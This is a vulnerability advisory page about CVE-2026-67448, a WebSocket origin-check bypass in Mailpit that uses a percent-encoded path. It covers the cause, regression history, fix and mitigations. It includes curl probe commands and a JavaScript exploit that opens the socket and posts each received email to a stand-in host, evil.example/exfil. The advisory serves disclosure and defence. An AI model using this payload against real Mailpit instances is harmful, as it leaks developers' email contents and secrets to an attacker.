Mailpit, WebSocket Origin Check Bypass via Percent-Encoded Path, CVE-2026-67448 (Critical) -DC-Aug2026-1723

Listen to this Post

The cross-site WebSocket hijacking fix was reimplemented as an origin check gated on a raw-URI prefix test, but Go’s ServeMux routes on the percent-decoded path, so requesting `/%61pi/events` reaches the WebSocket handler while skipping the only origin control, and the upgrader itself accepts every origin. Confirmed at HEAD 408b30d. Affects 1.29.0 through 1.30.5.
The defect lies in two halves that were each correct in isolation. `server/websockets/client.go` accepts any origin and delegates the check elsewhere via a `CheckOrigin` function that returns true, with a comment indicating origin is checked via server.go’s CORS settings. `server/server.go` performs that check but keys it on the raw request target using r.RequestURI, checking strings.HasPrefix(r.RequestURI, config.Webroot+"api/").
`r.RequestURI` is the untouched wire target; Go’s ServeMux routes on the percent-decoded path. So for /%61pi/events: `strings.HasPrefix(“/%61pi/events”, “/api/”)` is FALSE (origin check skipped), ServeMux decodes `%61` to “a” and routes to /api/events, and the upgrader’s `CheckOrigin` returns true.
Measured, default config, no auth: `/api/events` with Origin: https://evil.example` returns 403; `/%61pi/events` with the same Origin returns 101 Switching Protocols and begins streaming. With a message delivered over SMTP while the cross-origin socket was open, the attacker origin received the ID, Message-Id, From, To, Cc, Bcc, Subject ("SECRET password reset token abc123"), size, tags, and body Snippet, live. WebSockets are not subject to CORS response-header enforcement, so the absent `Access-Control-Allow-Origin` header provides no protection once the upgrade succeeds.
Regression provenance: commit 6f1f4f3 (2026-01-10, v1.28.2) fixed CVE-2026-22689 by deleting
CheckOrigin; commit a63bcd9 (2026-01-31, first in v1.29.0) reintroduced `CheckOrigin` returning true and replaced the protection with the bypassable raw-prefix test.
Attacker model and verification: Any website the developer visits while Mailpit is running. No credentials, no ability to send mail, no interaction beyond visiting a page. Requires Mailpit without `--ui-auth-file` (the default, and the same precondition as the original CVE). The bypass was measured live against a real Mailpit instance on loopback, including the 403-versus-101 control pair; authentication still holds (the encoded path returns 401 when `--ui-auth-file` is set); browser reachability was confirmed against the WHATWG URL parser, which preserves
%61.
Suggested fix: Do not make security decisions on
r.RequestURI. Key the check onr.URL.Path`, the decoded value the router uses, so the gate and the route agree. Better, restore a real `CheckOrigin` on the upgrader so the WebSocket carries its own origin enforcement rather than depending on a middleware prefix match. Secondary (Low, not claimed as XSS): `server/apiv1/message.go` lines 154-155 echo an attacker-chosen Content-Type with Content-Disposition: inline; this is blocked today by the nonce CSP.

DailyCVE Form:

Platform: Mailpit
Version: 1.29.0-1.30.5
Vulnerability: CSWSH Bypass
Severity: Critical
date: 2026-08-20

Prediction: 2026-08-21

What Undercode Say:

Check if Mailpit is running on default port
curl -I http://localhost:8025 2>/dev/null | head -n 1
Test the vulnerable endpoint with encoded path
curl -i -N -H "Origin: https://evil.example" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==" \
-H "Sec-WebSocket-Version: 13" \
http://localhost:8025/%61pi/events
Expected: 101 Switching Protocols (vulnerable)
Compare with normal path (should return 403)
curl -i -N -H "Origin: https://evil.example" \
-H "Connection: Upgrade" \
-H "Upgrade: websocket" \
-H "Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==" \
-H "Sec-WebSocket-Version: 13" \
http://localhost:8025/api/events

Exploit: (Educational Purposes!)

// Malicious website JavaScript - connects to victim's Mailpit
const ws = new WebSocket('ws://localhost:8025/%61pi/events');
ws.onopen = () => {
console.log('[+] WebSocket open, receiving live emails...');
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
// Exfiltrate: ID, Message-Id, From, To, Cc, Bcc, Subject, size, tags, body snippet
fetch('https://evil.example/exfil', {
method: 'POST',
mode: 'no-cors',
body: JSON.stringify(data)
});
};

Protection:

  • Upgrade to Mailpit v1.30.6 or later
  • Enable `–ui-auth-file` to require authentication
  • Run Mailpit on localhost only (default) and avoid browsing untrusted sites while it runs
  • If patching is not possible, firewall the Mailpit port (8025) from external access

Impact:

An attacker can host a malicious website that, when visited by a developer running Mailpit locally, establishes a WebSocket connection to the victim’s Mailpit instance. This allows the attacker to intercept sensitive data such as email contents, headers, and server statistics in real-time. The vulnerability is classified as an authentication bypass due to the failure to enforce access controls on sensitive endpoints when accessed via manipulated URLs. This constitutes a significant breach of confidentiality, potentially exposing private communications, internal infrastructure details, or credentials contained within emails if they are processed by Mailpit during testing phases.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top